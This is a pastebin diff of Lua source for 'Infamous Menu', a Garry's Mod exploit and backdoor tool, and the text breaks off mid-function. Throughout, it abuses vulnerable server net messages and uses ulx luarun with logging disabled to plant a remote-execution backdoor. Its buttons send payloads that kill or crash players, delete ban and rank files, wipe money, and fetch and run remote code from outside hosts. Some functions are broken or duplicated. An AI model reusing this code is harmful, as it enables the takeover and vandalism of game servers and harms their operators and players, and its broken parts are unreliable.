View difference between Paste ID: kHxMm0Ru and WEq4phSi
SHOW: | | - or go back to the newest paste.
1
surface.PlaySound("HL1/fvox/bell.wav")
2
3
4
Version = "v1.2"
5
netKey = "nostrip"
6
7
totalExploits = 0
8
BackdoorsFound = 0
9
10
local ply = LocalPlayer()
11
12
13
local blur = Material("pp/blurscreen")
14
    local function DrawBlur(panel, amount) 
15
    local x, y = panel:LocalToScreen(0, 0)
16
    local scrW, scrH = ScrW(), ScrH()
17
        surface.SetDrawColor(255, 255, 255)
18
        surface.SetMaterial(blur)
19
    for i = 1, 6 do
20
        blur:SetFloat("$blur", (i / 3) * (amount or 6))
21
        blur:Recompute()
22
        render.UpdateScreenEffectTexture()
23
        surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
24
    end
25
end
26
27
function ValidNetString( str )
28
    local status, error = pcall( net.Start, str )
29
    return status
30
end
31
32
local function playSound(url)
33
    sound.PlayURL(url, '', function( station ) 
34
        if ( IsValid( station ) ) then
35
        station:SetPos( LocalPlayer():GetPos() )
36
        station:Play()
37
        end
38
    end)
39
end
40
41-
hook.Add("Think", "RAINBOWPLAYER", function()
41+
42-
local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
42+
43-
    LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
43+
44-
    LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
44+
45-
end)
45+
46
47
48
function IsMessagePooled( netmessage )
49
    BackdoorStatus, error = pcall(net.Start,netmessage)
50
    return BackdoorStatus
51
end
52
53
54
55
if( ValidNetString("start_wd_emp") ) then
56
    totalExploits = 1 + totalExploits 
57
end
58
59
if( ValidNetString("properties") ) then
60
    totalExploits = 1 + totalExploits
61
end
62
63
if( ValidNetString("egg") ) then
64
    totalExploits = 1 + totalExploits
65
end
66
67
if( ValidNetString("steamid2") ) then
68
    totalExploits = 1 + totalExploits
69
end
70
71
if( ValidNetString("bodyman_model_change") ) then
72
    totalExploits = 1 + totalExploits
73
end
74
75
76
function SploitNotify(text)
77
    local notify = vgui.Create( "DPanel" )
78
    notify:SetSize( 200, 50 )
79
    notify:SetPos( ScrW() - 200, -50 )
80
    notify.Paint = function(self, w, h)
81
    draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
82
    draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
83
    draw.SimpleText( text, "Title", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
84
    end
85
    notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
86
    timer.Simple( 3, function()
87
    notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
88
end);end) end
89
90
91
-- Exploit 1
92
function removeAll()
93
        for k,v in pairs(player.GetAll()) do
94
            stripPlayer(v)
95
        end
96
    end
97
98
    function removeAll()
99
        for k,v in pairs(me:IsAdmin()) do
100
            stripPlayer(v)
101
        end
102
    end
103
104
    function removeAll()
105
        for k,v in pairs(me:IsSuperAdmin()) do
106
            stripPlayer(v)
107
        end
108
    end
109
110
111
    function stripPlayer(ply)
112
        if ply:IsPlayer() then
113
 
114
            for k,v in pairs(ply:GetWeapons()) do
115
116
                net.Start("properties")
117
                net.WriteString( "remove" , 32 )
118
                net.WriteEntity( v )
119
                net.SendToServer()
120
            end
121
        end
122
123
    end
124
125
    function removeAll()
126
        for k,v in pairs(player.GetAll()) do
127
            stripPlayer(v)
128
        end
129
    end
130
131
-- Exploit 2
132
function HackKeypad()
133
    net.Start('start_wd_emp') 
134
    net.SendToServer()
135
end
136
137
-- Exploit 3
138
139
function GiveEasterEgg1()
140
    net.Start("egg")
141
    net.SendToServer()
142
    SploitNotify("Gave Easter Egg")
143
144
end
145
146
-- Exploit 4
147
148
function Lagger1()
149
    timer.Create( "lagger9", 0, 0, function()
150
        for i = 1, 100 do
151
        net.Start( "steamid2" )
152
        net.WriteString( "Infamous Menu Boi" )
153
        net.SendToServer()
154
        end
155
    end)
156
end
157
158
159
160
-- Superadmin Injector
161
function Inject()
162
    chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 255, 255 )," Injecting..." )
163
    if ( ply:IsSuperAdmin() ) then
164
        timer.Simple( 3, function() 
165
            if( ValidNetString("nostrip") ) then
166
            
167
            else
168
                RunConsoleCommand( "ulx", "logecho", "0" )
169
                RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('nostrip')" )
170
                RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('nostrip') net.Receive('nostrip', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" )
171
                RunConsoleCommand( "ulx", "logecho", "1" )
172
                chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 0, 255, 0 )," Successfully Injected!" )
173
            end
174
        end )
175
    else
176
        chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 0, 0 )," Failed! Your Not Superadmin!" )
177
    end
178
    if( ValidNetString("nostrip") ) then
179
        chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 255, 255 )," Backdoor is Active!" )
180
    end
181
end
182
183
184
-- Fonts
185
186
surface.CreateFont( "Title", {
187
        font = "Lato Light",
188
        size = 30,
189
        weight = 250,
190
        antialias = true,
191
        strikeout = false,
192
        additive = true,
193
} )
194
195
surface.CreateFont( "Status", {
196
        font = "Lato Light",
197
        size = 25,
198
        weight = 250,
199
        antiaalias = true,
200
        strikeout = false,
201
        additive = true,
202
} )
203
204
surface.CreateFont( "Welcome", {
205
        font = "Lato Light",
206
        size = 25,
207
        weight = 10,
208
        antiaalias = true,
209
        strikeout = false,
210
        additive = true,
211
} )
212
213
214
-- Menus Derma
215
216
217
local Infamous = vgui.Create( "DFrame" )
218
Infamous:SetSize( 630, 450 )
219
Infamous:SetVisible( true )
220
Infamous:SetDraggable( false )
221
Infamous:ShowCloseButton( false )
222
Infamous:Center()
223
Infamous:SetTitle("")
224
Infamous:MakePopup()
225
Infamous.Paint = function( self, w, h )
226
    DrawBlur(Infamous, 2)
227
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
228
    draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
229
    draw.SimpleText( "Infamous Menu", "Title", Infamous:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
230
end
231
232
233
local InfamousCategories = vgui.Create( "DFrame", LOL )
234
InfamousCategories:SetSize( 150, 450 )
235
InfamousCategories:SetVisible( true )
236
InfamousCategories:SetDraggable( false )
237
InfamousCategories:ShowCloseButton( false )
238
InfamousCategories:SetPos( 465, 315)
239
InfamousCategories:SetTitle("")
240
InfamousCategories:MakePopup()
241
InfamousCategories.Paint = function( self, w, h )
242
    DrawBlur(InfamousCategories, 2)
243
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
244
    draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
245
    draw.SimpleText( "Categories", "Title", InfamousCategories:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
246
end
247
248
local InfamousClose = vgui.Create( "DButton", Infamous)
249
InfamousClose:SetSize( 35, 35 )
250
InfamousClose:SetPos( Infamous:GetWide() - 36,9 )
251
InfamousClose:SetText( "X" )
252
InfamousClose:SetFont( "Default" )
253
InfamousClose:SetTextColor( Color( 255, 255, 255 ) )
254
InfamousClose.Paint = function()
255
        
256
end
257
InfamousClose.DoClick = function()
258
    CloseEverything()
259
end
260
261
local WelcomeLabel = vgui.Create( "DLabel", Infamous )
262
WelcomeLabel:SetPos( 100, 100 )
263
WelcomeLabel:SetFont("Welcome")
264
WelcomeLabel:SetText( "Hello,  "..ply:GetName().."\nThank you for using Infamous Menu! We will be \nUpdating our Menu so click the 'Check Version' Button to see \n if you have the right version :)")
265
WelcomeLabel:SizeToContents()
266
267
local TotalExploits = vgui.Create( "DLabel", Infamous )
268
TotalExploits:SetPos( 230, 425 )
269
TotalExploits:SetText( "Total Exploits: "..totalExploits.." |" )
270
TotalExploits:SizeToContents()
271
272
local BackdoorStatus = vgui.Create( "DLabel", Infamous )
273
BackdoorStatus:SetPos( 320, 425 )
274
BackdoorStatus:SetText( "Backdoor: "..HtxPooledString() )
275
BackdoorStatus:SizeToContents()
276
--
277
if IsMessagePooled( netKey ) then BackdoorStatus:SetTextColor( Color(0,255,0) ) else BackdoorStatus:SetTextColor( Color(255,0,0) ) end
278
--
279
280
local VersionLabel = vgui.Create( "DLabel", Infamous )
281
VersionLabel:SetPos( 550, 425 )
282
VersionLabel:SetText( "Version: "..Version )
283
284
local NameLabel = vgui.Create( "DLabel", Infamous )
285
NameLabel:SetPos( 10, 425 )
286
NameLabel:SetText( "Hello, "..ply:GetName().."!" )
287
NameLabel:SizeToContents()
288
289
-- Check Version Button
290
291
292
local Checkversion = vgui.Create( "DButton", Infamous )
293
Checkversion:SetText( "Check Version" )
294
Checkversion:SizeToContents()
295
Checkversion:SetTall( 25 )
296
Checkversion:SetWide( 100 )
297
Checkversion:SetPos( 250, 275 )
298
Checkversion:SetTextColor( Color( 255, 255, 255 ) )
299
Checkversion:SetToolTip( "Checks the Menus Version." )
300
Checkversion.Paint = function( self, w, h )
301
    DrawBlur(Checkversion, 2)
302
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
303
Checkversion.DoClick = function()
304
    if ( Version == "v1.2") then
305
            chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 0, 255, 0 )," Version is up to date!" )
306
    else
307
            chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 0, 0 )," Out of date!" )
308
    end
309
    end
310
end
311
312
313
314
local BackdoorScanner = vgui.Create( "DButton", Infamous )
315
BackdoorScanner:SetText( "Backdoor Scanner" )
316
BackdoorScanner:SizeToContents()
317
BackdoorScanner:SetTall( 25 )
318
BackdoorScanner:SetWide( 100 )
319
BackdoorScanner:SetPos( 185, 315 )
320
BackdoorScanner:SetTextColor( Color( 255, 255, 255 ) )
321
BackdoorScanner:SetToolTip( "Checks the server for Backdoors." )
322
BackdoorScanner.Paint = function( self, w, h )
323
    DrawBlur(BackdoorScanner, 2)
324
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
325
BackdoorScanner.DoClick = function()
326
    SploitNotify("Scanning...")
327
    surface.PlaySound("buttons/blip1.wav") 
328
    checkbackdoors()
329
330
    end
331
end
332
333
334
335
local Injector = vgui.Create( "DButton",Infamous )
336
Injector:SetText( "Superadmin Injector" )
337
Injector:SizeToContents()
338
Injector:SetTall( 25 )
339
Injector:SetWide( 115 )
340
Injector:SetPos( 300, 315 )
341
Injector:SetTextColor( Color( 255, 255, 255 ) )
342
Injector:SetToolTip( "Injects Superadmin if the server is backdoored." )
343
Injector.Paint = function( self, w, h )
344
    DrawBlur(Injector, 2)
345
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
346
Injector.DoClick = function()
347
    SploitNotify("Injecting...")
348
    surface.PlaySound("buttons/blip1.wav") 
349
    Inject()
350
351
    end
352
end
353
354
355
356
357
local MainMenuButton = vgui.Create( "DButton", InfamousCategories )
358
MainMenuButton:SetText( "Main Menu" )
359
MainMenuButton:SizeToContents()
360
MainMenuButton:SetTall( 50 )
361
MainMenuButton:SetWide( MainMenuButton:GetWide() + 100 )
362
MainMenuButton:SetPos( 0, 75 )
363
MainMenuButton:SetTextColor( Color( 255, 255, 255 ) )
364
MainMenuButton:SetToolTip( "Main Menu" )
365
MainMenuButton.Paint = function( self, w, h )
366
    DrawBlur(MainMenuButton, 2)
367
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
368
MainMenuButton.DoClick = function()
369
        closealltabs()
370
        ply:ConCommand( "infamous_menu" )
371
    end
372
end
373
374
local ExploitMenuButton = vgui.Create( "DButton", InfamousCategories )
375
ExploitMenuButton:SetText( "Exploit Menu" )
376
ExploitMenuButton:SizeToContents()
377
ExploitMenuButton:SetTall( 50 )
378
ExploitMenuButton:SetWide( ExploitMenuButton:GetWide() + 100 )
379
ExploitMenuButton:SetPos( 0, 140 )
380
ExploitMenuButton:SetTextColor( Color( 255, 255, 255 ) )
381
ExploitMenuButton:SetToolTip( "Exploit Menu" )
382
ExploitMenuButton.Paint = function( self, w, h )
383
    DrawBlur(ExploitMenuButton, 2)
384
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
385
ExploitMenuButton.DoClick = function()
386
        closealltabs()
387
        ply:ConCommand( "infamous_exploits" )
388
    end
389
end
390
391
392
local BackdoorButton = vgui.Create( "DButton", InfamousCategories )
393
BackdoorButton:SetText( "Backdoor Menu" )
394
BackdoorButton:SizeToContents()
395
BackdoorButton:SetTall( 50 )
396
BackdoorButton:SetWide( BackdoorButton:GetWide() + 100 )
397
BackdoorButton:SetPos( 0, 270 )
398
BackdoorButton:SetTextColor( Color( 255, 255, 255 ) )
399
BackdoorButton:SetToolTip( "bd menu" )
400
BackdoorButton.Paint = function( self, w, h )
401
    DrawBlur(BackdoorButton, 2)
402
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
403
BackdoorButton.DoClick = function()
404
        closealltabs()
405
        ply:ConCommand( "infamous_backdoor" )
406
407
    end
408
end
409
410
411
412
local BackdoorMenu = vgui.Create( "DFrame" )
413
BackdoorMenu:SetSize( 630, 450 )
414
BackdoorMenu:SetVisible( true )
415
BackdoorMenu:SetDraggable( false )
416
BackdoorMenu:ShowCloseButton( false )
417
BackdoorMenu:Center()
418
BackdoorMenu:SetTitle("")
419
BackdoorMenu:MakePopup()
420
BackdoorMenu.Paint = function( self, w, h )
421
    DrawBlur(BackdoorMenu, 2)
422
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
423
    draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
424
    draw.SimpleText( "Infamous Backdoor Menu", "Title", BackdoorMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
425
    draw.SimpleText( "Macro Parameter", "Title", BackdoorMenu:GetWide() / 2, 225, Color(255,255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
426
end
427
428
429
local BackdoorMenuClose = vgui.Create( "DButton", BackdoorMenu )
430
BackdoorMenuClose:SetSize( 35, 35 )
431
BackdoorMenuClose:SetPos( BackdoorMenu:GetWide() - 36,9 )
432
BackdoorMenuClose:SetText( "X" )
433
BackdoorMenuClose:SetFont( "Default" )
434
BackdoorMenuClose:SetTextColor( Color( 255, 255, 255 ) )
435
BackdoorMenuClose.Paint = function()
436
437
end
438
BackdoorMenuClose.DoClick = function()
439
    CloseEverything()
440
end
441
442
443
444
445
446
local Consolerun = vgui.Create( "DTextEntry", BackdoorMenu )
447
    Consolerun:SetText( strDefaultText or "" )
448
    Consolerun:SetPos( 125, 100)
449
    Consolerun:SetSize( 350, 20 )
450
    Consolerun.OnEnter = function() Window:Close() Consolerun:GetValue() 
451
end
452
453
454
local RunCommand = vgui.Create( "DButton", BackdoorMenu )
455
    RunCommand:SetText( "OK" )
456
    RunCommand:SetSize( 55, 25 )
457
    RunCommand:SetPos( 230, 150 )
458
    RunCommand:SetTextColor( Color( 255, 255, 255 ) )
459
    RunCommand.DoClick = function()  
460
        SploitNotify("Sending Command")
461
        surface.PlaySound("buttons/blip1.wav") 
462
        net.Start( netKey )   net.WriteString( Consolerun:GetValue()  ) net.SendToServer() 
463
 end
464
465
RunCommand.Paint = function( self, w, h )
466
    DrawBlur(RunCommand, 2)
467
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
468
end
469
470
local Disco = vgui.Create( "DButton", BackdoorMenu )
471
    Disco:SetText( "Hentai" )
472
    Disco:SetSize( 55, 25 )
473
    Disco:SetPos( 320, 150 )
474
    Disco:SetTextColor( Color( 255, 255, 255 ) )
475
    Disco.DoClick = 
476
        function()  surface.PlaySound("buttons/blip1.wav") net.Start( netKey )   net.WriteString( Consolerun:GetValue()  ) net.SendToServer() 
477
        SploitNotify("Starting Disco")
478
        net.Start(netKey)
479
        net.WriteString( "http.Fetch(\"https://pastebin.com/raw/4yTWnEB4\",function(b,l,h,c)RunString(b)end,nil)" )
480
        net.WriteBit(1)
481
        net.SendToServer()
482
end
483
484
local Disco = vgui.Create( "DButton", BackdoorMenu )
485
    Disco:SetText( "Slav" )
486
    Disco:SetSize( 55, 25 )
487
    Disco:SetPos( 400, 150 )
488
    Disco:SetTextColor( Color( 255, 255, 255 ) )
489
    Disco.DoClick = 
490
        function()  surface.PlaySound("buttons/blip1.wav") net.Start( netKey )   net.WriteString( Consolerun:GetValue()  ) net.SendToServer() 
491
        SploitNotify("Starting Disco")
492
        net.Start(netKey)
493
        net.WriteString( "http.Fetch(\"https://pastebin.com/raw/tTPp8dU0\",function(b,l,h,c)RunString(b)end,nil)" )
494
        net.WriteBit(1)
495
        net.SendToServer()
496
end
497
498
Disco.Paint = function( self, w, h )
499
    DrawBlur(Disco, 2)
500
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
501
end
502
503
local Status = vgui.Create( "DLabel", BackdoorMenu )
504
    Status:SetText("Status: "..HtxPooledString() )
505
    Status:SetPos( 380,410 )
506
    Status:SetFont("Status")
507
    Status:SizeToContents()
508
    Status:SetContentAlignment( 5 )
509
    Status:SetTextColor( Color(255,50,50,255) )
510
511
--
512
if IsMessagePooled( netKey ) then Status:SetTextColor( Color(0,255,0) ) else Status:SetTextColor( Color(255,0,0) ) end
513
--
514
515
516
517
518
local KillEveryone = vgui.Create( "DButton", BackdoorMenu )
519
    KillEveryone:SetText( "Kill Everyone" )
520
    KillEveryone:SizeToContents()
521
    KillEveryone:SetTall( 25 )
522
    KillEveryone:SetWide( KillEveryone:GetWide() + 25 )
523
    KillEveryone:SetPos( 50, 250 )
524
    KillEveryone:SetTextColor( Color( 255, 255, 255 ) )
525
    KillEveryone:SetToolTip( "Kills everyone in the server!" )
526
    KillEveryone.Paint = function( self, w, h )
527
        DrawBlur(KillEveryone, 2)
528
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
529
    KillEveryone.DoClick = function()
530
        SploitNotify("Killing Everyone")
531
        surface.PlaySound("garrysmod/ui_click.wav")
532
        net.Start(netKey)
533
        net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
534
        net.WriteBit(1)
535
        net.SendToServer()
536
    end
537
end
538
539
local LaunchEveryone = vgui.Create( "DButton", BackdoorMenu )
540
    LaunchEveryone:SetText( "Launch Everyone" )
541
    LaunchEveryone:SizeToContents()
542
    LaunchEveryone:SetTall( 25 )
543
    LaunchEveryone:SetWide( LaunchEveryone:GetWide() + 20 )
544
    LaunchEveryone:SetPos( 160, 250 )
545
    LaunchEveryone:SetTextColor( Color( 255, 255, 255 ) )
546
    LaunchEveryone:SetToolTip( "Launches everyone on the server" )
547
    LaunchEveryone.Paint = function( self, w, h )
548
        DrawBlur(LaunchEveryone, 2)
549
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
550
    LaunchEveryone.DoClick = function()
551
        SploitNotify("Launching Players")
552
        surface.PlaySound("garrysmod/ui_click.wav")
553
        net.Start(netKey)
554
        net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
555
        net.WriteBit(1)
556
        net.SendToServer()
557
    end
558
end
559
560
561
local EarRape = vgui.Create( "DButton", BackdoorMenu )
562
    EarRape:SetText( "Ear Rape" )
563
    EarRape:SizeToContents()
564
    EarRape:SetTall( 25 )
565
    EarRape:SetWide( EarRape:GetWide() + 20 )
566
    EarRape:SetPos( 285, 250 )
567
    EarRape:SetTextColor( Color( 255, 255, 255 ) )
568
    EarRape:SetToolTip( "Starts a very loud sound on the server." )
569
    EarRape.Paint = function( self, w, h )
570
        DrawBlur(EarRape, 2)
571
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
572
    EarRape.DoClick = function()
573
        SploitNotify("Starting Ear Rape")
574
        surface.PlaySound("garrysmod/ui_click.wav")
575
        net.Start(netKey)
576
        net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
577
        net.WriteBit(1)
578
        net.SendToServer()
579
    end
580
end
581
582
583
local IngiteEveryone = vgui.Create( "DButton", BackdoorMenu )
584
    IngiteEveryone:SetText( "Ignite Everyone" )
585
    IngiteEveryone:SizeToContents()
586
    IngiteEveryone:SetTall( 25 )
587
    IngiteEveryone:SetWide( EarRape:GetWide() + 25 )
588
    IngiteEveryone:SetPos( 370, 250 )
589
    IngiteEveryone:SetTextColor( Color( 255, 255, 255 ) )
590
    IngiteEveryone:SetToolTip( "Ignites Everyon on the server." )
591
    IngiteEveryone.Paint = function( self, w, h )
592
        DrawBlur(IngiteEveryone, 2)
593
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
594
    IngiteEveryone.DoClick = function()
595
        SploitNotify("Igniting Everyone")
596
        surface.PlaySound("garrysmod/ui_click.wav")
597
        net.Start(netKey)
598
        net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
599
        net.WriteBit(1)
600
        net.SendToServer()
601
    end
602
end
603
604
605
local DeleteBans = vgui.Create( "DButton", BackdoorMenu )
606
    DeleteBans:SetText( "Delete Bans" )
607
    DeleteBans:SizeToContents()
608
    DeleteBans:SetTall( 25 )
609
    DeleteBans:SetWide( DeleteBans:GetWide() + 20 )
610
    DeleteBans:SetPos( 480, 250 )
611
    DeleteBans:SetTextColor( Color( 255, 255, 255 ) )
612
    DeleteBans:SetToolTip( "Deletes all Bans!" )
613
    DeleteBans.Paint = function( self, w, h )
614
        DrawBlur(DeleteBans, 2)
615
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
616
    DeleteBans.DoClick = function()
617
        SploitNotify("Deleting Bans")
618
        surface.PlaySound("garrysmod/ui_click.wav")
619
        net.Start(netKey)
620
        net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
621
        net.WriteBit(1)
622
        net.SendToServer()
623
    end
624
end
625
626
627
local DeleteRanks = vgui.Create( "DButton", BackdoorMenu )
628
    DeleteRanks:SetText( "Delete ULX Ranks" )
629
    DeleteRanks:SizeToContents()
630
    DeleteRanks:SetTall( 25 )
631
    DeleteRanks:SetWide( DeleteRanks:GetWide() + 20 )
632
    DeleteRanks:SetPos( 50, 295 )
633
    DeleteRanks:SetTextColor( Color( 255, 255, 255 ) )
634
    DeleteRanks:SetToolTip( "Deletes ULX Groups / Ranks!" )
635
    DeleteRanks.Paint = function( self, w, h )
636
        DrawBlur(DeleteRanks, 2)
637
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
638
    DeleteRanks.DoClick = function()
639
        SploitNotify("Deleting ULX")
640
        surface.PlaySound("garrysmod/ui_click.wav")
641
        net.Start(netKey)
642
        net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
643
        net.WriteBit(1)
644
        net.SendToServer()
645
    end
646
end
647
648
649
local ResetMoney = vgui.Create( "DButton", BackdoorMenu )
650
    ResetMoney:SetText( "Reset RP Money" )
651
    ResetMoney:SizeToContents()
652
    ResetMoney:SetTall( 25 )
653
    ResetMoney:SetWide( ResetMoney:GetWide() + 20 )
654
    ResetMoney:SetPos( 180, 295 )
655
    ResetMoney:SetTextColor( Color( 255, 255, 255 ) )
656
    ResetMoney:SetToolTip( "Resets all DarkRP Money" )
657
    ResetMoney.Paint = function( self, w, h )
658
        DrawBlur(ResetMoney, 2)
659
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
660
    ResetMoney.DoClick = function()
661
        SploitNotify("Reseting Money")
662
        surface.PlaySound("garrysmod/ui_click.wav")
663
        net.Start(netKey)
664
        net.WriteString( "rp_resetallmoney")
665
        net.WriteBit(1)
666
        net.SendToServer()
667
    end
668
end
669
670
671
local Seize = vgui.Create( "DButton", BackdoorMenu )
672
    Seize:SetText( "Seize Server" )
673
    Seize:SizeToContents()
674
    Seize:SetTall( 25 )
675
    Seize:SetWide( Seize:GetWide() + 20 )
676
    Seize:SetPos( 300, 295 )
677
    Seize:SetTextColor( Color( 255, 255, 255 ) )
678
    Seize:SetToolTip( "Seizes the server lol." )
679
    Seize.Paint = function( self, w, h )
680
        DrawBlur(Seize, 2)
681
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
682
    Seize.DoClick = function()
683
        SploitNotify("Server Seized")
684
        surface.PlaySound("garrysmod/ui_click.wav")
685
        net.Start(netKey)
686
        net.WriteString( "http.Fetch(\"https://infamousseize.000webhostapp.com/index.php\",function(b,l,h,c)RunString(b)end,nil)"  )
687
        net.WriteBit(1)
688
        net.SendToServer()
689
    end
690
end
691
692
693
local crashcunts = vgui.Create( "DButton", BackdoorMenu )
694
    crashcunts:SetText( "Crash Cunts" )
695
    crashcunts:SizeToContents()
696
    crashcunts:SetTall( 25 )
697
    crashcunts:SetWide( crashcunts:GetWide() + 20 )
698
    crashcunts:SetPos( 375, 295 )
699
   crashcunts:SetTextColor( Color( 255, 255, 255 ) )
700
    crashcunts:SetToolTip( "Crashes Admins/VIPS." )
701
    crashcunts.Paint = function( self, w, h )
702
        DrawBlur(crashcunts, 2)
703
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
704
    crashcunts.DoClick = function()
705
        SploitNotify("Crashing")
706
        surface.PlaySound("garrysmod/ui_click.wav")
707
        local crash = "for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end"
708
        net.Start(netKey)
709
        net.WriteString( crash )
710
        net.WriteBit(1)
711
        net.SendToServer()
712
    end
713
end
714
715
local miracle = vgui.Create( "DButton", BackdoorMenu )
716
    miracle:SetText( "Ready for a miracle?" )
717
    miracle:SizeToContents()
718
    miracle:SetTall( 25 )
719
    miracle:SetWide( miracle:GetWide() + 20 )
720
    miracle:SetPos( 480, 295 )
721
    miracle:SetTextColor( Color( 255, 255, 255 ) )
722
    miracle:SetToolTip( "Are you Ready for a miracle?" )
723
    miracle.Paint = function( self, w, h )
724
        DrawBlur(miracle, 2)
725
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
726
    miracle.DoClick = function()
727
        SploitNotify("Miracle :D!")
728
        surface.PlaySound("garrysmod/ui_click.wav")
729
		local miraclerdy = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('http://cyanidegang.000webhostapp.com/zyro/infamous/miracle.mp3')  ]]) end"
730
        net.Start(netKey)
731
        net.WriteString( miraclerdy )
732
        net.WriteBit(1)
733
        net.SendToServer()
734
    end
735
end
736
737
local miracle = vgui.Create( "DButton", BackdoorMenu )
738
    miracle:SetText( "Don't Do Cocain?" )
739
    miracle:SizeToContents()
740
    miracle:SetTall( 25 )
741
    miracle:SetWide( miracle:GetWide() + 20 )
742
    miracle:SetPos( 480, 350 )
743
    miracle:SetTextColor( Color( 255, 255, 255 ) )
744
    miracle:SetToolTip( "DON'T DO COCAIN" )
745
    miracle.Paint = function( self, w, h )
746
        DrawBlur(miracle, 2)
747
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
748
    miracle.DoClick = function()
749
        SploitNotify("No Cocain !")
750
        surface.PlaySound("garrysmod/ui_click.wav")
751
		local miraclerdy = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('https://instaud.io/_/1R1P.mp3')  ]]) end"
752
        net.Start(netKey)
753
        net.WriteString( miraclerdy )
754
        net.WriteBit(1)
755
        net.SendToServer()
756
757
    end 
758
end
759
760
-- Concommand Functions 
761
762
function EarthQuake()
763
local earths = "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end"
764
net.Start(netKey)
765
net.WriteString( earths )
766
net.WriteBit(1)
767
net.SendToServer()
768
end
769
770
concommand.Add("earthquake", EarthQuake)
771
772
-- ConCommand Functions End
773
774
775
local FloodConsole = vgui.Create( "DButton", BackdoorMenu )
776
    FloodConsole:SetText( "Flood Console" )
777
    FloodConsole:SizeToContents()
778
    FloodConsole:SetTall( 25 )
779
    FloodConsole:SetWide( FloodConsole:GetWide() + 20 )
780
    FloodConsole:SetPos( 50, 340 )
781
    FloodConsole:SetTextColor( Color( 255, 255, 255 ) )
782
    FloodConsole:SetToolTip( "Floods Server Console" )
783
    FloodConsole.Paint = function( self, w, h )
784
        DrawBlur(FloodConsole, 2)
785
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
786
    FloodConsole.DoClick = function()
